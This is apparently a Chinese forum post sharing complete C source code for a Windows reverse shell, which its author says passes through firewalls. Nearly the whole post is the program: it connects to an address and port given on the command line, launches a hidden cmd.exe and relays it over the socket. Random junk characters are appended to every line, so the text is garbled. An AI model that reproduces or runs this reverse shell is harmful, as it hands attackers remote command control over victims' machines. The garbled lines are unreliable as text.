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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2A =Y  
ntB#2S  
/* ============================== ?~T(Cue>  
Rebound port in Windows NT nT2b"wkTT  
By wind,2006/7 Nu3IYS5&  
===============================*/ R.l!KIq  
#include VAjl?\}6  
#include !FyO5`v  
:?= 1aiS  
#pragma comment(lib,"wsock32.lib") B0p;Zh  
5D?{dA:Rq  
void OutputShell(); l+@k:IK  
SOCKET sClient; wu11)HFL|z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .I]v D#o  
?/5<}W#7}  
void main(int argc,char **argv) C`3 XOth  
{ $FIJI^Kd7  
WSADATA stWsaData; I(3~BOUn_  
int nRet; _*[vKS A&  
SOCKADDR_IN stSaiClient,stSaiServer; yw%E S  
K4E2W9h  
if(argc != 3) `s\[X-j]  
{ zVe,HKF/  
printf("Useage:\n\rRebound DestIP DestPort\n"); EbVC4uY  
return; H8B.c%_|U  
} uh#E^~5S  
n ~&ssFC  
WSAStartup(MAKEWORD(2,2),&stWsaData); [; $:Lr  
y?3u6q++  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ) k[XO  
W>?aZv  
stSaiClient.sin_family = AF_INET; U UtS me  
stSaiClient.sin_port = htons(0); n!~QC  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .#a7?LUH  
){u# (sW  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +!`$(  
{ #Q_<eo%lI*  
printf("Bind Socket Failed!\n"); +]yVSns 3  
return; W$l4@A  
} _U*1D*kLI[  
I{H!K rM!  
stSaiServer.sin_family = AF_INET; 8Jp?@qt=$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7~P!Z=m^^f  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~"wnlG-:  
w)YTHY (k;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ntL%&wY  
{ ww%4MHPp8  
printf("Connect Error!"); L+lye Ir'  
return; lD _iIe~c  
} m{lS-DlRg  
OutputShell(); h4ghMBo%  
} TC:t!:  
(V/! 0Lj  
void OutputShell() d)$ seZB  
{ Nii5},  
char szBuff[1024]; eR3MU]zF  
SECURITY_ATTRIBUTES stSecurityAttributes; ,>TDxI;  
OSVERSIONINFO stOsversionInfo; gKPqU@$*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xFp9H'j{  
STARTUPINFO stStartupInfo; z^%`sUgP  
char *szShell; $"=0{H.?  
PROCESS_INFORMATION stProcessInformation; MpIP)bdq7  
unsigned long lBytesRead; IY(;:#l  
y] $- :^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MSt@yKq  
n!NA}Oa  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (1Jc-`  
stSecurityAttributes.lpSecurityDescriptor = 0; 0J= $ A  
stSecurityAttributes.bInheritHandle = TRUE; 8{CBWXo$)  
b&pL}o?/k  
{UhpN"'"n  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )f%Q7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u)P)r,  
"+4r4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w /CD-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P$`k* v  
stStartupInfo.wShowWindow = SW_HIDE; h&b s`  
stStartupInfo.hStdInput = hReadPipe; @Z9>E+udQ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?T[K{t;~jo  
#)KQ-x,  
GetVersionEx(&stOsversionInfo); t;[?Q\  
0Jm)2@  
switch(stOsversionInfo.dwPlatformId) 3HX-lg`0  
{ 45Q#6Bt E  
case 1: qNbgN{4  
szShell = "command.com"; _qS4Ns/4s  
break; .[o?qCsw  
default: UTuOean ]'  
szShell = "cmd.exe"; %TQ5#{Y  
break; B]cV|S|  
} 0 9*?'^s4  
I%ZSh]On  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'jU;.vZex  
DGx<Nys@B  
send(sClient,szMsg,77,0); i}ti  
while(1) to'O;f">n  
{ jR,3 -JQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ",Fqpu&M  
if(lBytesRead) |f"1I4K g  
{ ~`Rooh3m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _ ~E_#cNn  
send(sClient,szBuff,lBytesRead,0); 1`EkN0iZ  
} 3VmF1w 2  
else @>hXh +!2h  
{ I~U;M+n*y  
lBytesRead=recv(sClient,szBuff,1024,0); JztSP?  
if(lBytesRead<=0) break; 5!^?H"#c  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \ >|:URnD  
} Y\7/`ty  
} x?-kt.M  
'fY( Vm  
return; ]Saw}agE[%  
}
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